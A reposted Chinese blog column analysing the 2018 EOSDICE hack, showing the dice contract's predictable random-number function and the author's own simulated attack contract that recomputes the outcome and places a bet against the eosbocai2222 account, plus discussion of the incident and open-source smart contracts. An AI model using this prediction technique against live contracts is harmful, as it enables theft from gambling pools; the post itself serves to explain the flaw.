风险提示:理性看待区块链,提高风险意识!
EOS DICE随机数被攻破:区块链游戏需要开源吗?
首页 > 币界资讯 > 区块链知识 2018-11-05 17:15:00

1

今天起床看到 EOSDICE随机数竟然被攻破了?

之前我还看过代码,觉得挺安全的,看来我还是太菜了

随机数代码如下 (来源于github)

  1. uint8_trandom(account_name name,uint64_tgame_id)
  2. {
  3. asset pool_eos=eosio::token(N(eosio.token)).get_balance(_self,symbol_type(S(4,EOS)).name());
  4. automixd=tapos_block_prefix()*tapos_block_num()+name+game_id-current_time()+pool_eos.amount;
  5. constchar*mixedChar=reinterpret_cast<constchar*>(&mixd);
  6. checksum256 result;
  7. sha256((char*)mixedChar,sizeof(mixedChar),&result);
  8. uint64_trandom_num=*(uint64_t*)(&result.hash[0])+*(uint64_t*)(&result.hash[8])+*(uint64_t*)(&result.hash[16])+*(uint64_t*)(&result.hash[24]);
  9. return(uint8_t)(random_num%100+1);
  10. }

可以看到生成随机数 有几个特别的东西

  1. game_id 这个是递增的,可以拿到
  2. account_name 这个是玩家的用户名,可以拿到
  3. pool_eos 这个是当前合约的余额,如果短时间没有人玩的话,是可以拿到固定的值的
  4. taposblockprefix & taposblocknum 这两个是区块内部的值,如果我用合约来攻击的话,可以拿到
  5. current_time 当前时间戳(合约用了延时交易)

我当时看到这个合约的时候,其实有想过怎么攻击,但是发现变量比较多,应该比较难,攻击合约需要满足以下条件

  1. 需要短时间内没有人玩,要不然gameid 与 pooleos都会变动,导致你攻击失败
  2. 必须要把攻击合约与 出结果 的时间控制在一个区块内,要不然 taposblockprefix & taposblocknum 这两个数会发生改变
  3. 之前我一直觉得没办法攻击的是 时间,因为合约取的是未来时间的(其实发现了eos 延时合约运行的话,延时多久,时间往后加就行了。。。) 这点要是想明白了,说不定暴富的人就是我了…

我写的一个模拟攻击合约,不知道是不是因为本地测试的原因,taposblockprefix & taposblocknum 一直对不上

其实本来想 直接从合约拿到他的 game_id的,但是一直没有成功…

  1. voidcharity::hi(uint64_tgame_id)
  2. {
  3. asset pool_eos=eosio::token(N(eosio.token)).get_balance(N(eosbocai2222),symbol_type(S(4,EOS)).name());
  4. pool_eos.amount+=9985;
  5. uint64_tt=current_time();
  6. t+=1000000;
  7. automixd=tapos_block_prefix()*tapos_block_num()+_self+game_id-t+pool_eos.amount;
  8. constchar*mixedChar=reinterpret_cast<constchar*>(&mixd);
  9. checksum256 result;
  10. sha256((char*)mixedChar,sizeof(mixedChar),&result);
  11. uint64_trandom_num=*(uint64_t*)(&result.hash[0])+*(uint64_t*)(&result.hash[8])+*(uint64_t*)(&result.hash[16])+*(uint64_t*)(&result.hash[24]);
  12. print("random",random_num%100+1);
  13. // return (uint8_t)(random_num % 100 + 1);
  14. asset payout=asset(10000,S(4,EOS));
  15. action(
  16. permission_level{_self,N(active)},
  17. N(eosio.token),N(transfer),
  18. std::make_tuple(_self,N(eosbocai2222),payout,std::string("dice-rrr-50-")))
  19. .send();
  20. }

来一张测试截图

2

可以看到除了 taposblockprefix & taposblocknum 这两个不一样的话,其他的都一样的,

taposblocknum 应该是每次+1,taposblockprefix 不知道生成规则,但是如果在一个区块内,应该是能拿到相同的.

事件回顾

根据官方给出的账号,我找到了黑客的攻击截图

3 4 5

不知道黑客代码怎么写的,他现在已经把合约换掉了…并且吧钱转到了交易所

根据官方所说,他们有对合约自动检测工具,导致被发现疑似黑客事件,立马把钱转走了.

这一点还是值得表扬的,说明团队实力还是有的。(希望可以开源,这样的话,其他的dice被攻击了也不至于损失那么惨)

6

好像公告发布的也比较早,不知道是不是 自动检测功能能把人call醒(哈哈哈)

总结与反思

7

当被攻击后,有网友在官方群发了这样的一句话…

让我想起一个笑话

A: 为什么你玩DApp? B: 因为开源透明代码可见,更公平 A:最近玩什么呢 B:EOS上的菠菜 A:开源了么? B:没有

我一直觉得 区块链合约肯定要开源,要不然和其他的有啥区别呢?

我个人为啥投了这个游戏呢?是因为这个游戏开源,符合我理想中的区块链游戏,不会发生黑我的情况…

本以为他做大了,能给整个社区起一个带头作用,告诉大家,开源合约也没事情的,区块链游戏就是需要开源!

但是还好,损失不是很大。

最后借用老猫的一张图

8

本文由专栏作者高金上传发布,未经许可请勿转载。

本文首发知乎专栏【区块链开发指北】

上一篇: BCHSV区块高度能追上BCHABC的原因分析:原来是它在作祟
下一篇: 这里满足你对plasma的一切好奇心
推荐专栏
web3首席知识博主
一位相信价值投资的币圈KOL。稳定盈利的缠论野生交易员 #BTC行情分析师 #价值投资 #链上数据分析
爱Web 3,爱生活,爱科技,爱炒币的老韭菜
热门币种
更多
币种
价格
24H涨跌幅
BTC比特币
¥264,810.46
37,103.37 USDT
+0.1%
ETH以太坊
¥14,413.37
2,019.50 USDT
0%
USDT泰达币
¥7.20
1.01 USDT
0%
BNB币安币
¥1,629.54
228.32 USDT
+0.63%
XRP瑞波币
¥4.32
0.60480 USDT
+0.45%
USDC
¥7.14
1.00 USDT
+0.04%
SOLSolana
¥400.45
56.11 USDT
+1.59%
OKBOK币
¥399.37
55.96 USDT
-1.23%
ADA艾达币
¥2.67
0.37480 USDT
-1.32%
DOGE狗狗币
¥0.55330
0.07753 USDT
-1.01%
热搜币种
更多
币种
价格
24H涨跌幅
Terra Classic
¥0.00
9.481E-5 USDT
-18.15%
Gala
¥0.18
0.025383 USDT
-4.86%
dYdX
¥22.63
3.1984 USDT
-0.73%
比特股
¥0.05
0.006569 USDT
-1.93%
PancakeSwap
¥15.60
2.2054 USDT
-2.16%
Conflux
¥1.08
0.1531 USDT
-2.36%
Filecoin
¥31.55
4.4597 USDT
-0.5%
FTX Token
¥29.65
4.1911 USDT
+15.24%
Yield Guild Games
¥2.56
0.3615 USDT
-0.55%
Shiba Inu
¥0.00
8.15E-6 USDT
-2.16%
比特币
¥262,467.38
37103.37 USDT
+0.1%
比原链
¥0.07
0.010022 USDT
-4.68%
最新快讯
更多
汇丰、恒生、渣打、富邦华一四家外资银行入围首批“数字人民币”业务试点名单
2023-11-28 19:06:57
摩根大通和Apollo计划建立代币化“企业主网”
2023-11-28 19:03:57
Nansen2公测版本上线,新增链上数据异动、智能搜索等功能
2023-11-28 18:59:52
西班牙公民需在明年3月底前申报其海外平台上加密货币持仓
2023-11-28 18:53:43
Nansen2已公开测试
2023-11-28 18:53:38
dYdX基金会:主网启动以来超过1645万DYDX被质押
2023-11-28 18:52:07
NicCarter等比特币倡导者发文:比特币挖矿是清洁能源和平衡电网的关键工具
2023-11-28 18:47:58
下载币界网APP